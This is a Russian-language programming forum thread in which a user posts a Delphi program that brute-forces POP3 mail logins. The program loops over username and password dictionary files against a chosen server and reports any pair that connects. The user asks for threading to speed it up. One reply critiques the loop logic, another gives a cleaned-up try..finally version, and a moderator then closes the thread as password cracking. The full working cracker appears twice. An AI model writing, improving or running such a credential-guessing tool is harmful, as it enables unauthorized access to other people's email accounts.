![]() |
|
|
|||||||
| Регистрация | << Правила форума >> | FAQ | Пользователи | Календарь | Поиск | Сообщения за сегодня | Все разделы прочитаны |
![]() |
|
|
Опции темы | Поиск в этой теме | Опции просмотра |
|
|
|
#1
|
|||
|
|||
|
Здраствуйте срочно нужна помощь по использованию потоков в данном приложение, чтобы увеличить скорость перебора,
Кто может скажите пожалуйста что надо дописать. Если потребуется могу соурс выложить. Зарание огромное спасибо. Код:
unit brut;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, IdAntiFreezeBase, IdAntiFreeze, IdBaseComponent, IdComponent,
IdTCPConnection, IdTCPClient, IdMessageClient, IdPOP3, Buttons, StdCtrls,
IdThreadComponent, IdThreadMgrPool, IdThreadMgr, IdThreadMgrDefault,
ComCtrls;
type
TForm1 = class(TForm)
NameEdit: TEdit;
PassEdit: TEdit;
ServerNameEdit: TEdit;
PortEdit: TEdit;
Label1: TLabel;
Label2: TLabel;
Label3: TLabel;
Label4: TLabel;
Button1: TButton;
BitBtn1: TBitBtn;
IdPOP: TIdPOP3;
IdAntiFreeze1: TIdAntiFreeze;
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure TForm1.Button1Click(Sender: TObject);
var
LoginStrings, PassStrings:TStrings;
i, j:Integer;
begin //Создаем массивы строк
LoginStrings:=TStringList.Create;
PassStrings:=TStringList.Create; //Загружаем варианты — справочники имен и паролей
LoginStrings.LoadFromFile(NameEdit.Text);
PassStrings.LoadFromFile(PassEdit.Text) ; //Устанавливаем адрес и порт сервера
IdPOP.Host := ServerNameEdit.Text;
IdPOP.Port := StrToInt(PortEdit.Text); //Начинаем перебор
for i:=0 to LoginStrings.Count-1 do
for j:=0 to PassStrings.Count-1 do
begin //Передаем имя и пароль компоненту
IdPOP.Username := LoginStrings.Strings[i];
IdPOP.Password := PassStrings.Strings[j]; //Попытка соединения.
try
IdPOP.Connect;
except
end; //Если соединение установлено, то выводим об этом сообщение
if IdPOP.Connected
then
begin //Показываем найденный пароль
Application.MessageBox(PChar('Имя:'+LoginStrings.Strings[i]+
'Пароль:'+PassStrings.Strings[j]), 'Пароль найден');
IdPOP.Disconnect;
Exit;
end;
end; //Уничтожаем массивы строк
LoginStrings.Free;
PassStrings.Free;
end;
end. |
|
#2
|
|||
|
|||
|
Странный такой код.
POP сервер хранит уникальные пары "логин-пароль". И никак не может быть чтобы у одного имени пользователя было несколько паролей. А в коде вложенные циклы как раз это и пытаются делать, т.е. устанавливая логин на первой итерации в цикле for i:=0 ... перебираются все пароли из PassStrings в цикле for j:=0 ... С одним и тем же логином происходят попытки соединится с сервером со всеми возможными паролями. На второй итерации берется другой логин и опять происходят попытки коннектов со всеми паролями, ну, и т.д. Это логическая ошибка, которая приводит к тому что на какой-либо итерации connect обязательно не сработает. Вторая ошибка уже техническая. Exit после первого же успешного коннекта выполняет выход из процедуры, что не позволит освободить массивы строк - произойдет утечка памяти. И циклы попыток соединений с сервером прервутся. И третье. Если делать лишние итерации как показано выше, то бесполезные попытки коннектов приводят к увеличению времени работы этой процедуры. Никакие потоки (thread'ы) здесь не помогут, т.к. само по себе соединение с POP сервером достаточно длительный процесс. Лучше оптимизировать код, убрав лишние итерации и процедура будет работать много быстрее. А о потоках лучше почитать классиков: http://forum.vingrad.ru/forum/topic-60076.html |
|
#3
|
|||
|
|||
|
Позволю себе не согласиться с san-46. Логически все верно, для каждого логина перебираются возможные варианты пароля из словаря. И лишних итераций вроде быть не должно.
Я бы обернул всю процедуру в try..finally: Код:
procedure TForm1.Button1Click(Sender: TObject);
var
LoginStrings, PassStrings:TStrings;
i, j:Integer;
begin //Создаем массивы строк
try
LoginStrings:=TStringList.Create;
PassStrings:=TStringList.Create; //Загружаем варианты — справочники имен и паролей
LoginStrings.LoadFromFile(NameEdit.Text);
PassStrings.LoadFromFile(PassEdit.Text) ; //Устанавливаем адрес и порт сервера
IdPOP.Host := ServerNameEdit.Text;
IdPOP.Port := StrToInt(PortEdit.Text); //Начинаем перебор
for i:=0 to LoginStrings.Count-1 do
for j:=0 to PassStrings.Count-1 do
begin //Передаем имя и пароль компоненту
IdPOP.Username := LoginStrings.Strings[i];
IdPOP.Password := PassStrings.Strings[j]; //Попытка соединения.
try
IdPOP.Connect;
except
end; //Если соединение установлено, то выводим об этом сообщение
if IdPOP.Connected then
begin //Показываем найденный пароль
Application.MessageBox(PChar('Имя:'+LoginStrings.Strings[i]+
'Пароль:'+PassStrings.Strings[j]), 'Пароль найден');
IdPOP.Disconnect;
Exit;
end;
end; //Уничтожаем массивы строк
finally
LoginStrings.Free;
PassStrings.Free;
end;
end; |
|
#4
|
|||
|
|||
|
Ага, реализация алгоритма взлома пароля по заранее заданному словарю.
Пункт 2.7 правил. Так что тему закрываем. |